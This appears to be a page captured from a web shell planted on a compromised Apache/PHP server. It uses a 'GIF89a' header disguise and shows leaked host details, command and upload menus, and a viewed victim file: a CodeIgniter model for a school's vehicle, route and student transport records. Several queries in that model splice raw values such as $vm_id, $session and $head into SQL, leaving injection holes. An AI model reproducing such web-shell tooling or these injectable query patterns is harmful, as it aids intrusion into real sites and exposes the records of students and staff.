GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 18.188.227.108
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../css/../cas/application/models/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../css/../cas/application/models/admin/TransportManagement.php
<?php

/**
 * Description of TransportManagement
 *
 * @author Softpro India Pvt. Ltd.
 */
class TransportManagement extends CI_Model {
    /* Vehcile Type Management Stuffs */

    function getAllVehicleTypes() {
        $this->db->select("VTM.vtm_id,VTM.vtm_name,VTM.vtm_short_name,VTM.vtm_active_status,VTM.vtm_delete_status,"
                . "VTM.vtm_added_by,VTM.vtm_added_on,VTM.vtm_updated_by,VTM.vtm_updated_on,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('vehicle_type_mst VTM');
        $this->db->join('tbl_staff_members TSMA', 'VTM.vtm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'VTM.vtm_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->order_by("VTM.vtm_updated_on", "desc");
        return $this->db->get();
    }

    function getVehicleTypeInfoByName($vtm_name) {
        $this->db->select("VTM.vtm_id,VTM.vtm_name,VTM.vtm_short_name,VTM.vtm_active_status,VTM.vtm_delete_status,"
                . "VTM.vtm_added_by,VTM.vtm_added_on,VTM.vtm_updated_by,VTM.vtm_updated_on,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('vehicle_type_mst VTM');
        $this->db->join('tbl_staff_members TSMA', 'VTM.vtm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'VTM.vtm_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("VTM.vtm_name", $vtm_name);
        return $this->db->get();
    }

    function getVehicleTypeInfoByShortName($vtm_short_name) {
        $this->db->select("VTM.vtm_id,VTM.vtm_name,VTM.vtm_short_name,VTM.vtm_active_status,VTM.vtm_delete_status,"
                . "VTM.vtm_added_by,VTM.vtm_added_on,VTM.vtm_updated_by,VTM.vtm_updated_on,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('vehicle_type_mst VTM');
        $this->db->join('tbl_staff_members TSMA', 'VTM.vtm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'VTM.vtm_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("VTM.vtm_short_name", $vtm_short_name);
        return $this->db->get();
    }

    function createNewVehicleType(array $newVehicleTypeInfo) {
        $this->db->insert('vehicle_type_mst', $newVehicleTypeInfo);
        return $this->db->insert_id();
    }

    function getVehicleTypeInfoBy($vtm_id) {
        $this->db->select("VTM.vtm_id,VTM.vtm_name,VTM.vtm_short_name,VTM.vtm_active_status,VTM.vtm_delete_status,"
                . "VTM.vtm_added_by,VTM.vtm_added_on,VTM.vtm_updated_by,VTM.vtm_updated_on,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('vehicle_type_mst VTM');
        $this->db->join('tbl_staff_members TSMA', 'VTM.vtm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'VTM.vtm_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("VTM.vtm_id", $vtm_id);
        return $this->db->get();
    }

    function isVehicleTypeNameSafeUpdate($vtm_id, $vtm_name) {
        $this->db->select("*");
        $this->db->from('vehicle_type_mst');
        $this->db->where('vtm_name', $vtm_name);
        $this->db->where('vtm_id != ' . $vtm_id);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

    function isVehicleTypeShortNameSafeUpdate($vtm_id, $vtm_short_name) {
        $this->db->select("*");
        $this->db->from('vehicle_type_mst');
        $this->db->where('vtm_short_name', $vtm_short_name);
        $this->db->where('vtm_id != ' . $vtm_id);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

    function updateVehicleTypeInfo(array $vehicleTypeUpdatedInfo) {
        $this->db->where('vtm_id', $vehicleTypeUpdatedInfo['vtm_id']);
        return $this->db->update('vehicle_type_mst', $vehicleTypeUpdatedInfo);
    }

    /* End Vehcile Type Management Stuffs */

    /* Vehcile Management */

    function getAllVehicles() {
        $this->db->select("VM.vm_id,VM.vm_reg_no,VM.vm_sr_no,VM.vm_seat_cap,VM.vm_make,VM.vm_model,VM.vm_enroll_date,"
                . "VM.vm_purchase_date,VM.vm_color,VM.vm_driver_name,VM.vm_commercial_flag,VM.vm_purpose,VM.vm_active_status,VM.vm_delete_status,"
                . "VM.vtm_id,VM.vm_added_by,VM.vm_added_on,VM.vm_updated_by,VM.vm_updated_on,VTM.vtm_name,VTM.vtm_short_name,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('vehicle_mst VM');
        $this->db->join('vehicle_type_mst VTM', 'VM.vtm_id = VTM.vtm_id');
        $this->db->join('tbl_staff_members TSMA', 'VM.vm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'VM.vm_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->order_by("VM.vm_updated_on", "desc");
        return $this->db->get();
    }

    function getAllNonDeletedActiveVehicleTypes() {
        $this->db->select("VTM.vtm_id,VTM.vtm_name,VTM.vtm_short_name,VTM.vtm_active_status,VTM.vtm_delete_status,"
                . "VTM.vtm_added_by,VTM.vtm_added_on,VTM.vtm_updated_by,VTM.vtm_updated_on,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('vehicle_type_mst VTM');
        $this->db->join('tbl_staff_members TSMA', 'VTM.vtm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'VTM.vtm_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("VTM.vtm_active_status", "T");
        $this->db->where("VTM.vtm_delete_status", "F");
        $this->db->order_by("VTM.vtm_added_on", "desc");
        return $this->db->get();
    }

    function getVehicleInfoBySerialNumber($vm_sr_no) {
        $this->db->select("VM.vm_id,VM.vm_reg_no,VM.vm_sr_no,VM.vm_seat_cap,VM.vm_make,VM.vm_model,VM.vm_enroll_date,"
                . "VM.vm_purchase_date,VM.vm_color,VM.vm_driver_name,VM.vm_commercial_flag,VM.vm_purpose,VM.vm_active_status,VM.vm_delete_status,"
                . "VM.vtm_id,VM.vm_added_by,VM.vm_added_on,VM.vm_updated_by,VM.vm_updated_on,VTM.vtm_name,VTM.vtm_short_name,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('vehicle_mst VM');
        $this->db->join('vehicle_type_mst VTM', 'VM.vtm_id = VTM.vtm_id');
        $this->db->join('tbl_staff_members TSMA', 'VM.vm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'VM.vm_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("VM.vm_sr_no", $vm_sr_no);
        return $this->db->get();
    }

    function getVehicleInfoByRegistrationNumber($vm_reg_no) {
        $this->db->select("VM.vm_id,VM.vm_reg_no,VM.vm_sr_no,VM.vm_seat_cap,VM.vm_make,VM.vm_model,VM.vm_enroll_date,"
                . "VM.vm_purchase_date,VM.vm_color,VM.vm_driver_name,VM.vm_commercial_flag,VM.vm_purpose,VM.vm_active_status,VM.vm_delete_status,"
                . "VM.vtm_id,VM.vm_added_by,VM.vm_added_on,VM.vm_updated_by,VM.vm_updated_on,VTM.vtm_id,VTM.vtm_name,VTM.vtm_short_name,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('vehicle_mst VM');
        $this->db->join('vehicle_type_mst VTM', 'VM.vtm_id = VTM.vtm_id');
        $this->db->join('tbl_staff_members TSMA', 'VM.vm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'VM.vm_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("VM.vm_reg_no", $vm_reg_no);
        return $this->db->get();
    }

    function createNewVehicle(array $newVehicleInfo) {
        $this->db->insert('vehicle_mst', $newVehicleInfo);
        return $this->db->insert_id();
    }

    function isVehicleSerialNumberSafeUpdate($vm_id, $vm_sr_no) {
        $this->db->select("*");
        $this->db->from('vehicle_mst');
        $this->db->where('vm_sr_no', $vm_sr_no);
        $this->db->where('vm_id != ' . $vm_id);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

    function isVehicleRegistrationNumberSafeUpdate($vm_id, $vm_reg_no) {
        $this->db->select("*");
        $this->db->from('vehicle_mst');
        $this->db->where('vm_reg_no', $vm_reg_no);
        $this->db->where('vm_id != ' . $vm_id);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

    function updateVehicleInfo(array $vehicleUpdatedInfo) {
        $this->db->where('vm_id', $vehicleUpdatedInfo['vm_id']);
        return $this->db->update('vehicle_mst', $vehicleUpdatedInfo);
    }

    function getVehicleInfoBy($vm_id) {
        $this->db->select("VM.vm_id,VM.vm_reg_no,VM.vm_sr_no,VM.vm_seat_cap,VM.vm_make,VM.vm_model,VM.vm_enroll_date,"
                . "VM.vm_purchase_date,VM.vm_color,VM.vm_driver_name,VM.vm_commercial_flag,VM.vm_purpose,VM.vm_active_status,VM.vm_delete_status,"
                . "VM.vtm_id,VM.vm_added_by,VM.vm_added_on,VM.vm_updated_by,VM.vm_updated_on,VTM.vtm_name,VTM.vtm_short_name,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('vehicle_mst VM');
        $this->db->join('vehicle_type_mst VTM', 'VM.vtm_id = VTM.vtm_id');
        $this->db->join('tbl_staff_members TSMA', 'VM.vm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'VM.vm_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("VM.vm_id", $vm_id);
        return $this->db->get();
    }

    /* End Vehcile Management */

    /// Allot Vehicle to Route  ///

    function getAllotedVehicle() {
        $this->db->select("*");
        $this->db->from('route_vehicle_allot RVA');
        $this->db->join('vehicle_mst VM', 'VM.vm_id = RVA.vm_id');
        $this->db->join('fee_heads_opt_mst FHOM', 'FHOM.fhom_id = RVA.fhom_id');
        //$this->db->order_by("RVA.rva_updated_on", "desc");
        return $this->db->get();
    }

    function vehicleAllotToRoute($vehicleAllot) {
        $this->db->insert('route_vehicle_allot', $vehicleAllot);
        return $this->db->insert_id();
    }

    function getSafeAllVehiclesByType($vtm_id, $vm_id = '') {
        $this->db->select("VM.vm_id,VM.vm_reg_no,VM.vm_sr_no,VM.vm_seat_cap,VM.vm_make,VM.vm_model,VM.vm_enroll_date,"
                . "VM.vm_purchase_date,VM.vm_color,VM.vm_driver_name,VM.vm_commercial_flag,VM.vm_purpose,VM.vm_active_status,VM.vm_delete_status,"
                . "VM.vtm_id,VM.vm_added_by,VM.vm_added_on,VM.vm_updated_by,VM.vm_updated_on,VTM.vtm_name,VTM.vtm_short_name,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('vehicle_mst VM');
        $this->db->join('vehicle_type_mst VTM', 'VM.vtm_id = VTM.vtm_id');
        $this->db->join('tbl_staff_members TSMA', 'VM.vm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'VM.vm_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        if ($vm_id != '') {
            $this->db->where('VM.vm_id NOT IN (SELECT RVA.vm_id FROM route_vehicle_allot RVA) OR `VM`.`vm_id` IN (' . $vm_id . ') ');
        } else {
            $this->db->where('VM.vm_id NOT IN (SELECT RVA.vm_id FROM route_vehicle_allot RVA)');
        }
        $this->db->where("VM.vm_active_status", "T");
        $this->db->where("VM.vm_delete_status", "F");
        $this->db->where("VM.vtm_id", $vtm_id);
        $this->db->order_by("VM.vm_updated_on", "desc");
        return $this->db->get();
    }

    function updateVehicleAllotStatus($vehicleData, $rva_id) {
        $this->db->where("rva_id", $rva_id);
        return $this->db->update("route_vehicle_allot", $vehicleData);
    }

    function getAllVehiclesByRouteVehicleAllotmentId($rva_id) {
        $this->db->select("*");
        $this->db->from('route_vehicle_allot RVA');
        $this->db->join('vehicle_mst VM', 'VM.vm_id = RVA.vm_id');
        $this->db->join('fee_heads_opt_mst FHOM', 'FHOM.fhom_id = RVA.fhom_id');
        $this->db->where("RVA.rva_id", $rva_id);
        //$this->db->order_by("RVA.rva_updated_on", "desc");
        return $this->db->get();
    }

    /// End Allot Vehicle to Route  ///
    ///Driver to Vehcile Allotment///
    function getActiveVehicleByVehicleTypeForDriver($vtm_id) {
        $this->db->select("VM.vm_id,VM.vm_reg_no,VM.vm_sr_no,VM.vm_seat_cap,VM.vm_make,VM.vm_model,VM.vm_enroll_date,"
                . "VM.vm_purchase_date,VM.vm_color,VM.vm_driver_name,VM.vm_commercial_flag,VM.vm_purpose,VM.vm_active_status,VM.vm_delete_status,"
                . "VM.vtm_id,VM.vm_added_by,VM.vm_added_on,VM.vm_updated_by,VM.vm_updated_on,VTM.vtm_name,VTM.vtm_short_name,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('vehicle_mst VM');
        $this->db->join('vehicle_type_mst VTM', 'VM.vtm_id = VTM.vtm_id');
        $this->db->join('tbl_staff_members TSMA', 'VM.vm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'VM.vm_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where('vm_id NOT IN (SELECT vm_id FROM vehicle_driver_allot where vda_delete_status="F")');
        $this->db->where("VM.vm_active_status", "T");
        $this->db->where("VM.vm_delete_status", "F");
        $this->db->where("VM.vtm_id", $vtm_id);
        $this->db->order_by("VM.vm_updated_on", "desc");
        return $this->db->get();
    }

    public function updateDriverVehicleAllot($deleteStatus, $vda_id) {
        $this->db->where("vda_id", $vda_id);
        return $this->db->update("vehicle_driver_allot", $deleteStatus);
    }

///End Driver to Vehcile Allotment///
    //Student to Vehcile Allotment//   
    function getActiveRoutesVehicleAlloted() {
        $this->db->distinct();
        $this->db->select("FHOM.fhom_id,FHOM.fhom_name");
        $this->db->from("fee_heads_opt_mst FHOM");
        $this->db->join('route_vehicle_allot RVA', 'RVA.fhom_id = FHOM.fhom_id');
        $this->db->where("fhom_delete_status", 'F');
        $this->db->where("fhom_active_status", 'T');
        return $this->db->get();
    }

    public function getAllottedStudentToVehicleInfoBy($course = '', $sem = '', $route = '', $vehicle = '', $session = '') {
        $this->db->select("*");
        $this->db->from("vehicle_student_allot VSA");
        $this->db->join('route_vehicle_allot RVA', 'RVA.rva_id = VSA.rva_id');
        $this->db->join('vehicle_mst VM', 'VM.vm_id = RVA.vm_id');
        $this->db->join('vehicle_type_mst VTM', 'VM.vtm_id = VTM.vtm_id');
        $this->db->join('fee_heads_opt_mst FHOM', 'FHOM.fhom_id = RVA.fhom_id');
        $this->db->join('tbl_student_personal_info TSPI', 'TSPI.tspi_id = VSA.tspi_id');
        $this->db->join('tbl_univ_course_session_mapping TUCSM', 'TSPI.ucs_map_id = TUCSM.ucs_map_id');
        $this->db->join('tbl_session_master TSM', 'TUCSM.session_id = TSM.session_id');
        $this->db->join('tbl_course_sub_master TSCM', 'TUCSM.sub_course_id = TSCM.tcsm_id');
        $this->db->join('tbl_course_master TCM', 'TSCM.course_id = TCM.course_id');
        $this->db->where("VSA.vsa_delete_status = 'F'");
        $this->db->where("VSA.vsa_active_status = 'T'");
        $this->db->join("tbl_student_semester_section_info TSSSI", "TSPI.tspi_id = TSSSI.tspi_id");
        if ($course != '') {
            $this->db->where("TCM.course_id", $course);
        }
        if ($sem != '') {
            $this->db->where("TSSSI.tsssi_semester", $sem);
        }
        if ($route != '') {
            $this->db->where("FHOM.fhom_id", $route);
        }
        if ($vehicle != '') {
            $this->db->where("RVA.rva_id", $vehicle);
        }
        if ($session != '') {
            $this->db->where("TSM.session_id", $session);
        }
        return $this->db->get();
    }

    function getAllStudentWhoseFeesIsPaidBy($course = '', $semOrYear = '', $head = '', $session = '') {
        $this->db->select("*");
        $this->db->from("tbl_student_personal_info TSPI");
        $this->db->join('tbl_univ_course_session_mapping TUCSM', 'TSPI.ucs_map_id = TUCSM.ucs_map_id');
        $this->db->join('tbl_session_master TSM', 'TUCSM.session_id = TSM.session_id');
        $this->db->join('tbl_course_sub_master TSCM', 'TUCSM.sub_course_id = TSCM.tcsm_id');
        $this->db->join('tbl_course_master TCM', 'TSCM.course_id = TCM.course_id');
        $this->db->join("tbl_student_semester_section_info TSSI", "TSPI.tspi_id = TSSI.tspi_id");
        $this->db->where("TSPI.tspi_status", "CE");
        $this->db->where("TSPI.tspi_id IN ("
                . "SELECT Distinct FCOM.tspi_id "
                . "FROM fee_collection_opt_mst FCOM, "
                . "fee_receipt_opt_mst FRM,"
                . "fee_structure_opt_mst FSOM, "
                . "fee_heads_opt_mst FHOM "
                . "WHERE FCOM.from_id = FRM.from_id "
                . " AND FSOM.fsom_id = FCOM.fsom_id"
                . " AND FSOM.fhom_id = FHOM.fhom_id"
                . " AND FHOM.fhom_type = 'T'"
                . " AND FRM.session_id = '$session'"
                . " AND FSOM.fhom_id = '$head'"
                . "AND FRM.from_status = 'A')");
        $this->db->where("TSPI.tspi_id NOT IN (SELECT tspi_id FROM vehicle_student_allot WHERE 	vsa_session_id = '$session' AND  vsa_delete_status = 'F' )");
        if ($semOrYear != '') {
            $this->db->where("TSSI.tsssi_semester", $semOrYear);
        }
        if ($course != '') {
            $this->db->where("TCM.course_id", $course);
        }
        return $this->db->get();
    }

    function createNewVehicleAllotmentMulti(array $createNewVehicleAllotmentMulti) {
        $this->db->insert_batch('vehicle_student_allot', $createNewVehicleAllotmentMulti);
        return $this->db->insert_id();
    }

    function updateVehicleStudentAllot($vehicleData, $vsa_id) {
        $this->db->where("vsa_id", $vsa_id);
        return $this->db->update("vehicle_student_allot", $vehicleData);
    }

    function getAllVehiclesByRoute($fhom_id) {
        $this->db->select("*");
        $this->db->from('route_vehicle_allot RVA');
        $this->db->join('vehicle_mst VM', 'VM.vm_id = RVA.vm_id');
        $this->db->join(' vehicle_type_mst VTM', 'VTM.vtm_id = VM.vtm_id');
        $this->db->join('fee_heads_opt_mst FHOM', 'FHOM.fhom_id = RVA.fhom_id');
        $this->db->where("FHOM.fhom_id", $fhom_id);
        $this->db->order_by("RVA.rva_updated_on", "desc");
        return $this->db->get();
    }

    public function getAllottedVehicleInfoById($vsa_id) {
        $this->db->select("*");
        $this->db->from("vehicle_student_allot VSA");
        $this->db->join('route_vehicle_allot RVA', 'RVA.rva_id = VSA.rva_id');
        $this->db->join('vehicle_mst VM', 'VM.vm_id = RVA.vm_id');
        $this->db->join('fee_heads_opt_mst FHOM', 'FHOM.fhom_id = RVA.fhom_id');
        $this->db->join('tbl_student_personal_info TSPI', 'TSPI.tspi_id = VSA.tspi_id');
        $this->db->join('tbl_univ_course_session_mapping TUCSM', 'TSPI.ucs_map_id = TUCSM.ucs_map_id');
        $this->db->join('tbl_session_master TSM', 'TUCSM.session_id = TSM.session_id');
        $this->db->join('tbl_course_sub_master TSCM', 'TUCSM.sub_course_id = TSCM.tcsm_id');
        $this->db->join('tbl_course_master TCM', 'TSCM.course_id = TCM.course_id');
        $this->db->where("VSA.vsa_delete_status = 'F'");
        $this->db->where("VSA.vsa_id", $vsa_id);
        return $this->db->get();
    }

    function getRoutesForUpdatingAlloments($rva_id) {
        $this->db->distinct();
        $this->db->select("FHOM.fhom_id,FHOM.fhom_name");
        $this->db->from("fee_heads_opt_mst FHOM");
        $this->db->join('route_vehicle_allot RVA', 'RVA.fhom_id = FHOM.fhom_id');
        $this->db->where("fhom_delete_status", 'F');
        $this->db->where("fhom_active_status", 'T');
        $this->db->where("RVA.rva_id NOT In ('$rva_id')");
        return $this->db->get();
    }

    //end Student to Vehcile Allotment//
}

KBHT - 2023